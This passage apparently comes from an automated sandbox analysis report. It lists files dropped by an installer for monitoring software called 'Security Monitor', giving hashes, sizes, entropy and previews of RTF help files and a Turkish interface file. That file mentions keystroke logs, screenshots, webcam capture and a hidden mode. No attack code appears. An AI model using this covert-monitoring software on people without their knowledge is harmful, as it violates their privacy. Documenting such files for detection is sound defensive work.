SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-0QN1F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-5C81D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-5NG0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-6GDRB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-6HIEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
